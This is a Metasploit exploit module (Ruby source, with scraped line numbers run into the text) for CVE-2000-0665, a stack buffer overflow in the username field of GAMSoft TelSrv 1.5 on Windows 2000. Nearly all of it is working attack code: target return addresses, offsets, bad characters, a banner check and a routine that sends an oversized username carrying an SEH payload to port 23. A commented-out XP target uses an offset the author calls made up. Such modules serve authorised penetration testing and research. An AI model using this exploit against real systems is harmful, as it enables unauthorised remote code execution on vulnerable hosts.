Path: blob/master/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking7include Msf::Exploit::Remote::Tcp8include Msf::Exploit::Remote::Seh910def initialize(info = {})11super(12update_info(13info,14'Name' => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',15'Description' => %q{16This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.17Other versions may also be affected. The service terminates after exploitation,18so you only get one chance!19},20'Author' => [ 'aushack' ],21'Arch' => [ ARCH_X86 ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2000-0665'],25[ 'OSVDB', '373'],26[ 'BID', '1478'],27[ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],28],29'Privileged' => false,30'DefaultOptions' => {31'EXITFUNC' => 'thread',32},33'Payload' => {34'Space' => 1000,35'BadChars' => "\x00\x0a",36'StackAdjustment' => -3500,37},38'Platform' => ['win'],39'Targets' => [40[41'Windows 2000 Pro SP0/4 English REMOTE',42{43'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL44'Offset' => 1886,45}46],4748[49'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',50{51'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL52'Offset' => 3318,53}54],5556[57'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',58{59'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL60'Offset' => 3358,61}62],63=begin64[ 'Windows XP Pro SP0/1 English',65{66'Ret' => 0x71aa32ad, # pop/pop/ret xp pro en ALL67'Offset' => 2600, # this is made up and absolutely wrong ;-)68}69],70=end71],72'DisclosureDate' => '2000-07-17',73'DefaultTarget' => 0,74'Notes' => {75'Reliability' => UNKNOWN_RELIABILITY,76'Stability' => UNKNOWN_STABILITY,77'SideEffects' => UNKNOWN_SIDE_EFFECTS78}79)80)8182register_options(83[84Opt::RPORT(23),85]86)87end8889def check90connect91print_status("Attempting to determine if target is possibly vulnerable...")92select(nil, nil, nil, 7)93banner = sock.get_once || ''94vprint_status("Banner: #{banner}")9596if banner.to_s =~ /TelSrv 1\.5/97return Exploit::CheckCode::Appears98end99100return Exploit::CheckCode::Safe101end102103def exploit104print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")105connect106print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.107select(nil, nil, nil, 7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.108109username = rand_text_english(20000, payload_badchars)110seh = generate_seh_payload(target.ret)111username[target['Offset'], seh.length] = seh112113print_status("Sending #{username.length} byte username as exploit (including #{seh.length} byte payload)...")114sock.put(username)115select(nil, nil, nil, 0.25)116print_status('Exploit sent...')117handler118disconnect119end120end121122123